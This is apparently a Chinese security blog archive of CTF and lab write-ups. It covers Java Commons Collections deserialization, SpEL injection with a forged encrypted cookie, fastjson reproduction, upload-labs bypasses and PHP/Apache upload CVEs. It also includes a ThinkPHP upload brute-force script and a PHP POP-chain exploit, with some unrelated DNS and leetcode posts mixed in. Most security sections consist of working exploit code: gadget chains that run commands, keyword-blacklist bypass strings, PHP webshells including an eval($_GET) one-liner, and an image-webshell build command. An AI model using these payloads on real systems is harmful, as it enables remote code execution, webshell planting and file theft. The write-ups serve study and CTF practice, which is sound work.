第二个和第三个参数都是 Transformer 类型的，也就是每次更新map的时候，比如对map执行 put操作的时候

public Object put(Object key, Object value) {
    key = transformKey(key);
    value = transformValue(value);
    return getMap().put(key, value);
}

会针对 key 和 value 执行 transform 操作

结合之前的 payload, 我们可以编写这个代码弹出计算器

public class Test {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class}, new Object[] {
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, null }),
                new InvokerTransformer("exec", new Class[] {
                        String.class }, new Object[] {"calc.exe"})};
        Transformer transformedChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap(); 
        Map outMap = TransformedMap.decorate(innerMap, null, transformedChain); //转变为 TransformedMap 操作
        outMap.put("key", "value");//触发payload
    }
}

但是网上给的payload都是针对 setValue 方法触发的payload，这是怎么找到的

经过调试我发现 AbstractMapEntryDecorator 实现了 Map，其中的 setValue 是这么写的

public Object setValue(Object object) {
    return entry.setValue(object);
}

这个方法之后又被 AbstractInputCheckedMapDecorator 的内部 MapEntry 类重写

public Object setValue(Object value) {
    value = parent.checkSetValue(value); //多了一次 checkSetValue 操作
    return entry.setValue(value);
}

这个多出来的 checkSetValue 方法又是 AbstractInputCheckedMapDecorator 的，而 TransformedMap 正是重写了这个方法

所以实际上是的结果是调用了 TransformedMap 的 checkSetValue 方法

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

这样就能触发payload了

之后寻找能够触发 setValue 方法的类，这里利用了 AnnotationInvocationHandler

不过这里只有jdk7才能运行，我开始用的jdk8不能成功

最后的测试代码

package com.alibaba.dubbo.demo;
























/**
 * @description: 测试
 * @author: Pxy
 * @create: 2020-01-31 16:21
 **/
public class Test {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class, Class[].class}, new Object[] {
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class, Object[].class }, new Object[] {
                            null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[] {
                            String.class }, new Object[] {"calc.exe"})};
            Transformer transformedChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("key", "value");
            Map outMap = TransformedMap.decorate(innerMap, null, transformedChain);
    
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Retention.class, outMap);
            File f = new File("payload.bin");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(instance);
            out.flush();
            out.close();

            ObjectInputStream input = new ObjectInputStream(new FileInputStream("payload.bin"));
            input.readObject();
            input.close();

        }
}

先断在这个 AnnotationInvocationHandler 类中

然后触发 checkSetValue 方法

最后成功弹出计算器

SPEL表达式注入

类似于 jinja 表达式，不过更为强大

编写一个接口进行测试：

@GetMapping("/spel")
public String spel(String input) throws  Exception{
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = (Expression)parser.parseExpression(input);
    return expression.getValue().toString();
}

访问 /spel?input=new java.lang.ProcessBuilder("calc").start()

code-breaking javacon

这道题并不算难，结合了java反射和spel表达式注入

一个spring框架写的登陆界面，用户名和密码都是admin，有一个remember me可以勾选

application.yml中有一些相关的设置

keywords:
  blacklist: 
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1

有一个黑名单过滤了一些字符，不过可以很容易地用字符串拼接进行绕过

仔细分析代码，其中有存在一处类似模板渲染的语句

ParserContext parserContext = new TemplateParserContext();
Expression exp = parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();

Spring Expression Language（简称SpEL）是一种强大的表达式语言，支持在运行时查询和操作对象图。语言语法类似于Unified EL，但提供了额外的功能，特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的，所以允许将其集成到其他应用程序和框架中。

这一处位于getAdvanceValue函数中，调用它的是这里：

@GetMapping
public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,
                    HttpSession session,
                    Model model) {
    if (rememberMeValue != null && !rememberMeValue.equals("")) {
        String username = userConfig.decryptRememberMe(rememberMeValue);
        if (username != null) {
            session.setAttribute("username", username);
        }
    }

    Object username = session.getAttribute("username");
    if(username == null || username.toString().equals("")) {
        return "redirect:/login";
    }

    model.addAttribute("name", getAdvanceValue(username.toString()));
    return "hello";
}

这里相当于是admin的管理界面，首先会检查rememberMeValue的值，并且尝试去解密其中的用户名，同时加入到session中，之后执行model.addAttribute("name", getAdvanceValue(username.toString()));

那么这里的关键就是cookie中的rememberMeValue，由于我们已经知道了加密的算法和密钥(代码都是直接给的)，那么就可以通过伪造rememberMeValue来达到rce

首先需要一条java的反射链，因为要绕过一些关键字：

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"calc")

之后要将其构造成Spel表达式，就是增加一个T()

先本地测试弹一个计算器

System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"calc\"})}")); //注意java的字符串必须是双引号

生成payload

bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fMAPqbj6yqACW6XVtt8Fp1nBwebKd7pkYSZCv6Yj3X7H-0-8HDV6F3sS3yWHUQEBPAyiNmKfkSKUV5VVlNdo16Nij8YX8HvKdeMHJ7_5Sdjfmfq3dKPeUOivMyVp_GdEkffgly4YX4eWCOzQRr4uQgodsKw2pC9N9udnw3Fz7O5ZhzmoYttjLubBowMtkF-Q6HHCvBrK9SWCzRQXC6jqYX_XeqyZuDreUixnpXpzlN9Gj_AWy8DB8Dxea8atf2wr8=

之后登陆再替换掉cookie

fastjson 反序列化(仅复现)

docker开启环境之后，首先需要生成一个 TouchFile 恶意文件，然后编译成class文件

// javac TouchFile.java


public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

用python开一个服务器，监听8001端口

再开启一个rmi服务器，靶机ip为192.168.99.100，本机相对靶机是192.168.99.1

这时候将payload发送过去，payload只是演示了在 tmp 目录下创建文件

创建成功

参考

Java反序列化漏洞通用利用分析

upload-lab做题笔记

Thu, 30 Jan 2020 00:00:00 GMT

Pass-20

这个算是逻辑漏洞了
reset 函数重置当前指针， end指向最后一个元素，这个最后并不是指最后的，而是最后加入数组的元素

php > $a = array(1,2,3,4,5);
php > current($a);
php > echo current($a);
1
php > echo next($a);
2
php > echo current($a);
2
php > echo end($a);
5
php > echo current($a);
5
php > echo reset($a);
1
php > echo current($a);

于是这样就可以理解了

关键就在于用户可以控制这个文件名

$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
    $file = explode('.', strtolower($file));
}
var_dump($file);
$ext = end($file);
var_dump($ext);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
}else{
    $file_name = reset($file) . '.' . $file[count($file) - 1];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
        $msg = "文件上传成功！";
        $is_upload = true;
    } else {

同时也要熟悉文件上传的数据包，复习了一遍 POST 方式传递数组同时可以规定元素的顺序

Pass-19

CVE-2015-2348 利用即可（漏洞影响版本：PHP 5.4.38~5.6.6）

move_uploaded_file ( string $filename , string $destination )

这次的漏洞就出现在参数$destination,这个参数的是将用户上传的文件移动到最终的目的地址。如果$destionation变量是从用户$_GET或者$_POST中获取的并且我们可控，那么我们就可以利用空字符\00来截断后面的拓展名，从而造成任意文件上传

Pass-18

这一关代码很多，最后没想到是通过条件竞争来达到目的

但是由于限制了后缀名，参考了很多博客都是利用 apache 解析漏洞

Pass-17

也是一个条件竞争的，关键代码:

if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){
         $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
         rename($upload_file, $img_path);
         $is_upload = true;
    }else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
        unlink($upload_file);

我们上传一个 shell.php
内容为：

<?php file_put_contents("info.php", "<?php phpinfo(); ?>")?>

之后去访问这个文件，就能生成 info.php

还有一种方式先上传 shell.php:.jpg 绕过限制

这样会生成 shell.php 的空文件，然后利用Windows的特性,尽管上传的文件被删除了，但是依旧覆盖了原有的文件

Pass-16

这题原来是有bug的，不过现在修改了

原来的代码：

可以很明显的看到，就算不是gif图片，也能够上传。

参考这篇文章，这题涉及到了二次渲染的绕过问题

文章中给出的图片：链接

这样，在上传之后才能够保证二次渲染之后还是有马

Pass-15

exif_imagetype 检测是否为图片

制作图片马，然后上传即可

copy normal.jpg /b + shell.php /a webshell.jpg

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

Pass-14

上传图片马即可

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

Pass-13

判断了文件头，上传图片马即可

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

Pass-12

利用 CVE-2015-2348 ， move_uploaded_file 函数遇到00会截断

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }

Pass-11

move_uploaded_file 遇到00会截断

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {

域名解析记录

Thu, 30 Jan 2020 00:00:00 GMT

博客域名解析

如下是我在腾讯云后台的设置

按照腾讯云的解释

可以查询到 www.prontosil.club 的解析记录为

经过多次的折腾发现，@ 解析记录只能有一个默认，只能有一个记录类型，比如我这里是A记录设置为 @，那么CNAME记录就不能设置为 @

同时我终于发现www 和裸域的区别了，之前还一直以为是同一个

裸域

不加 www 的裸域名好处主要是域名更加简短、容易记忆。坏处就多了，讲几个主要的技术原因：
裸域名只能绑定 DNS 的 A 记录，不能绑定 CNAME 记录。也就是说你不能把裸域设定为另外域名的别名。很多时候这对管理不是很方便，特别是使用第三方托管服务的时候。如果第三方迁移服务器导致 IP 地址变更，你必须自己去更改 DNS 的 A 记录。

TXT记录

这种可以用来出题

每天一个Linux命令-dig

Thu, 30 Jan 2020 00:00:00 GMT

基本选项：

@<服务器地址>：指定进行域名解析的域名服务器；
-b<ip地址>：当主机具有多个IP地址，指定使用本机的哪个IP地址向域名服务器发送域名查询请求；
-f<文件名称>：指定dig以批处理的方式运行，指定的文件中保存着需要批处理查询的DNS任务信息；
-P：指定域名服务器所使用端口号；
-t<类型>：指定要查询的DNS数据类型；
-x<IP地址>：执行逆向域名查询；
-4：使用IPv4；
-6：使用IPv6；
-h：显示指令帮助信息。

比如我要用Google的DNS

dig prontosil.club @8.8.8.8

查询解析记录
dig prontosil.club -t CNAME

得到结果：

;; QUESTION SECTION:
;prontosil.club.                        IN      CNAME

;; ANSWER SECTION:
prontosil.club.         600     IN      CNAME   2zeqwj.coding-pages.com.

;; Query time: 55 msec

查询 TXT 记录

dig _pages-challenge.prontosil.club -t TXT

得到结果：

;; ANSWER SECTION:
_pages-challenge.prontosil.club. 600 IN TXT     "rCAijO55WRowkOABj2JwHDEacVPpxo5rkCtDr2eG7J0=.ItO58cZnxtPdQAIzuUTAumBPxAZ4nwBjsGfmWl/Rhg0="

每天一道leetcode-数组题

Thu, 30 Jan 2020 00:00:00 GMT

整数转罗马数字

题目虽然不难，但是也整了好久，后来才明白转成罗马数字就是不断地做除法和模

但是我这里遇到了一个问题，python中的字典本来是无序的，所以我就拆成了两个list来存放

class Solution(object):
    def intToRoman(self, num):
        """
        :type num: int
        :rtype: str
        """
        result = ''
        nums = [1000,900,500,400,100,90,50,40,10,9,5,4,1]
        chars = ['M','CM','D','CD','C','XC','L','XL','X','IX','V','IV','I']
        for i in nums:
            x = num // i
            num = num % i
            result += x*chars[nums.index(i)]
        return result

这样当然是没问题得，但是我看到评论区居然有人用python的字典也成功了

这就很疑惑了，于是我修改了代码：

class Solution(object):
    def intToRoman(self, num):
        """
        :type num: int
        :rtype: str
        """
        result = ""
        roman = {1000:'M',900:'CM', 500:'D', 400:'CD', 100:'C',90:'XC', 50:'L', 40: 'XL',10:'X',9:'IX', 5:'V',4:'IV', 1:'I'}
        for i in roman:
            x = num // i
            num = num % i
            result += x*roman[i]
        return result

居然也过了！！！

难道leetcode的python解释器不一样？

罗马数字转整数

这个题目就更妙了，秒就妙在对于哈希表的处理上

如果是我想的话，只需要将上个题的哈希表倒过来就行了，但是实际上我们可以这样做：

d = {'I':1, 'IV':3, 'V':5, 'IX':8, 'X':10, 'XL':30, 'L':50, 'XC':80, 'C':100, 'CD':300, 'D':500, 'CM':800, 'M':1000}

本来 IV 是代表4的，但是在这里却减去了1，其余的9，40，90都是类似的

class Solution:
    def romanToInt(self, s: str) -> int:
        d = {'I':1, 'IV':3, 'V':5, 'IX':8, 'X':10, 'XL':30, 'L':50, 'XC':80, 'C':100, 'CD':300, 'D':500, 'CM':800, 'M':1000}
        result = 0
        for i,n in enumerate(s):
            a = max(i-1,0)
            b = d.get(s[a:i+1], d[n]) # 每次取两个元素，如果有就说明是4，9这类，如果没有就采取默认的 d[n]
            result += b
        return result

不得不说这种方法确实很巧妙，甚至可以浓缩为一句话

return sum(d.get(s[max(i-1, 0):i+1], d[n]) for i, n in enumerate(s))

不过效率对比上来看，浓缩之后的速度反而变慢了

漏洞复现-Apache SSI远程命令执行

Thu, 30 Jan 2020 00:00:00 GMT

SSI远程命令执行

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用  语法执行命令。

shtml 不是 html 而是一种服务器 API,shtml 是服务器动态产生的 htm
使用SSI(Server Side Include)的html文件扩展名，SSI（Server Side Include)，通常称为”服务器端嵌入”或者叫”服务器端包含”，是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

上传之后，点击即可

可以尝试上传 shtml 文件来达到getshell的目的

CVE-2017-15715 换行符截断

Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0A
将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

发送文件上传数据包

需要添加一个 \x0a

上传后解析成功

ps:也不知道如何构造文件上传数据包，我是写了一个表单来完成的,然后将相关的参数做一些修改即可

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>Document</title>
</head>
<body>
<form action="http://192.168.99.100:8080/index.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

环境中处理文件上传的代码:

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);

CVE-2015-2348 php任意文件上传

漏洞影响版本必须在5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7，详见CVE公告：https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348
这个漏洞的利用条件比较苛刻，尝试用 php5.5.9 nts 测试没有成功
并且测试的时候发现

尽管加上了 \x00 但是实际上通过

$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
var_dump($uploaded_name);

获取到的文件名并不会包含 .jpg
这里就涉及到数据的获取问题了

文件上传的数据包可以分成这几个部分：

第一部分是会存储到 $_FILES 数字中，并且 name 是用来和后端交互的， filename 是固定的一个名字，后端通过 $_FILES['file']['name'] 来得到
第二部分的数据是存储到 $_POST 和 $_REQUEST 数组中的

既然如此，那我就直接写死 $target_path .= "aaa.php\x00.jpg"; 即可进行测试

php 5.2.17 可以

php5.5.9 也可以

如果换成 php 7.3.4 nts 、5.3.29、5.4.45、5.6.9则报错

漏洞原因：

php在5.6.6中将长度比较的安全检查逻辑给去掉了

原来有安全检查的代码是这样子的：

参考

https://www.cnblogs.com/cyjaysun/p/4390930.html

roarctf一道文件上传题目的分析

Sun, 20 Oct 2019 00:00:00 GMT

simpleupload

这题苏师傅做出来了，但是我对着苏师傅简陋的wp没复现出来。桑心

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

我还是需要一张文件上传的思维图

一个想帮你总结所有上传类型的靶场

题目分析

是thinkphp框架，获取到上传的文件$_FILES['file']之后，实例化一个类Upload()，问题显然是出现在这个类上的

然而我最大的问题是，找不到上传的接口！！！

这就涉及到thinkphp的路由是怎么搞得，thinkphp是单入口的框架，入口点在public/index.php，之后是按照模块控制器方法来进行路由的。

但是这里的命名空间Home\Controller，并不是以往熟悉的app\index\Controller

所以这里应该是一个单一模块的，也就是说上传接口在http://index.php/Home/index/upload（这里就不是很明白了，明明这个Controller是叫IndexController

这题虽然是限制了不能以.php结尾，但是仔细查看才知道只是限制了$_FILES['file'],这个file只是在表单中设置的一个变量。

查看thinkphp的源码可以看到。这个upload方法直接就能上传所有的文件了

这样我们的利用思路就有了:

上传一个file的文件能够获得文件名，同时上传一个file1的文件，这个文件也会被上传但是我们不知道它的文件名

这时候爆破就好了

thinkphp3默认使用uniqid()函数根据时间生成文件名，两个文件上传时间相近可以爆破。

对这里还需要知道thinkphp的版本

exp



url = "http://cf063512-b68d-41ff-a3c1-405b73e0d84f.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("a.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print t1
print r.content
t1 = int(t1, 16)
print t1

j = t1
while True:
    path = url + "/Public/Uploads/2019-10-20/%s.php" % hex(j)[2:-1]
    try:
        r = requests.get(path, timeout=1)
    except:
        continue
    if r.status_code != 404:
        print path
        print r.text
        break
    print j, hex(j)[2:-1], r.status_code
    j -= 1

总结

这题确实学到了很多东西，对于文件上传还不是很熟悉，那个$_FILES数组，还有前后端是怎么交互的弄清楚了就好做了

文件上传类型简要分析

h4lo师傅写的文章感觉总结的很到位

分析文件上传时候的数据包

Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="text"

title

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="file"; filename="chrome.png"

Content-Type: image/png

PNG ... content of chrome.png ...

------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

boundary是一个字符串，用来切分数据。每个字段之间使用 ———WebKitFormBoundaryxxx 隔开

这里就和 post 请求一样，可以自己增加参数，就形如下面这样，将参数名放到 name 里，参数值放到下面：

------WebKitFormBoundary1PkqXeou9aUAIMHr
Content-Disposition: form-data; name="filename"

1.php

那么这里就增加了一个参数 filename = ‘1.php’

前后端的交互就是通过这个name进行的，也就是说后端会用$_FILES[filename]这个数组，注意$_FILES是一个二维数组，去获取这个文件的文件名，大小之类的信息。

这里有两个文件名，一个是上传的name，另一个是$_FIlES[filename]

简单地绕过

前端js这个不用说

也有通过MIME来校验的，

wafupload

简要分析一下这道题，前端可以通过表单上传文件，同时你可以自定义文件名(不过有啥用呢？)

因为后端会同时去判断你有没有自定义文件名

$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];

白名单检测只能是'image/jpeg', 'image/png', 'image/gif',文件后缀也只能是'jpg', 'png', 'gif'

<?php
#$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
$sandbox = '';

#@mkdir($sandbox);
#@chdir($sandbox);

if (!empty($_FILES['file'])) {
    #mime check
    if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
        die('This type is not allowed!');
    }else{
        echo "pass 1n";
    }

    #check filename
    $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        die('This file is not allowed!');
    }else{
        echo "pass 2n";
    }

    $filename = reset($file) . '.' . $file[count($file) - 1];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
        echo 'Success!';
        echo 'filepath:' . $sandbox . '/' . $filename;
    } else {
        echo 'Failed!';
    }
}
show_source(__file__);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="text" name="filename"><br>
    <input type="file" name="file" id="file" />
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

看似做的天衣无缝了，也确实考虑到了数组的情况：

if (!in_array($ext, ['jpg', 'png', 'gif'])) {
    die('This file is not allowed!');
}else{
    echo "pass 2n";
}

之后通古end函数去取出文件的后缀名

但是end函数有一个问题

end 函数取到的是给数组的最后一次赋值的那个值，继续尝试会发现 reset 函数也是一样，第一个给数组赋值的值就是 reset 函数返回的值

会根据赋值先后顺序该表值，可以去调试一下

这里的 end 函数取到了第二个给数组赋值的值，也就是 filename[0] ，reset 函数的值为 filename[1]。这边构造

filename[1] = php
filename[0] = png

在后面拼接 $filename 时候，再一次拼接到后缀名，即

$filename = reset($file) . '.' . $file[count($file) - 1];

这里的

$file[count($file) - 1]

一定是取到 filename[1]，所以上面给 filename[1] 赋值为 php 的意义就在这里。

上海网安赛 web3

<?php
    error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    //$dir=md5("icq");
    //$sandbox = '/sandbox/' . $dir;
    //@mkdir($sandbox);
    //@chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        var_dump($ext);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        var_dump($filename);
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }
?>

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file" />
    <input type="submit" name="submit" value="Submit" />
</form>

test

Sun, 20 Oct 2019 00:00:00 GMT

这是一篇测试图片的文章

在Typora中可以选择将图片复制到同名的文件夹下：

同时Typora现在还支持缩放图片，是不是很神奇？

一道反序列化题的分析

Sun, 20 Oct 2019 00:00:00 GMT

苏师傅给了一道反序列化题，卑微的我在多次提示的情况下搞出来了。。

分析

<?php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

/**
 * 尝试将$read()当作函数调用时会触发这个方法
 * @return [type] [description]
 */
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    //此处可以触发__toString方法
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>"; //此处有字符串拼接
    }

    /**
     * 假设这里可以触发__get方法，怎么触发__toString方法
     */
    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); //其实这里也可以读文件但是好像没什么乱用
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{
    /**
     * 将$p覆盖为read 就能触发Read类的__invoke方法，如何触发__get方法
     */
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

代码中有一点我当初的思考过程，其实利用的思路并不是很难，关键是你一定要知道自己想要干嘛。

目标就是Read函数中的file_get函数，其他的函数虽然也可以读文件，但是利用点还是在这里，(因为我们没办法控制_show 方法的参数)

要想调用file_get函数，看到有一个__invoke方法，这个方法触发的条件是:当类的一个对象被当作函数调用的时候触发，也就是Test类中

public function __get($key)
{
    $function = $this->p;
    return $function();
}

如果我们能覆盖掉$this->p为Read类的一个对象，后面$function()就是将这个对象当作函数调用

那么如何触发__get方法呢？这个方法的触发条件就是访问类中的私有属性或者是不存在的属性时，

此时看到Show的

public function __toString()
{
    $this->str['str']->source;
}

如果$this->str['str']被覆盖为Test类，那么此时就相当于访问Test类中不存在的属性，自然就会触发__get方法了

我的难点

也许是我一直忽视了__toString函数触发的条件，这个方法的触发条件是比较简单，但是又比较容易忽视的，我关注到了

public function __construct($file='index.php')
{
    $this->source = $file;
    echo $this->source.'Welcome'."<br>"; //此处有字符串拼接
}

此处存在一个字符串拼接，所以可以触发__toString方法，但是__construct方法在反序列化中是没有什么价值的。导致我一度很纠结，觉得是不是少了一个__destruct方法。

后来。。。。

原来问题出在


public function __wakeup()
{
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
        echo "hacker";
        $this->source = "index.php";
    }
}

此处的preg_match也是将其当作字符串来使用，所以显而易见(至少对于之前的我来说不是)会触发__toString方法

exp

<?php 

class Show{
	public $source;
	public $str;
}

class Test{
	public $p;
}

class Read{
	public $var = "flag.php";
}

$s = new Show();
$t = new Test();
$r = new Read();

$t->p = $r;
// $s->str = array("str"=>"Test");
$s->str["str"] = $t;
$s->source = $s;
var_dump(serialize($s));

 ?>

拓展

我在找资料的过程中，还发现了__wakeup函数的一个漏洞

php反序列化绕过__wakeup

<?php 

class ReadFile{
	private $file='';
	public function __construct(){
		$this->file = $file;
	}
	function __destruct(){
		$image = file_get_contents($this->file);
		header('Content-type: image/png');
		echo $image;
	}
	function __wakeup(){
		$this->file = 'code.png';
	}
}

// unserialize($str2);
if(isset($_GET['filename'])){
	$filename = $_GET['filename'];
	$filename=str_replace('flag', '', $filename);
	@unserialize($filename);
}else{
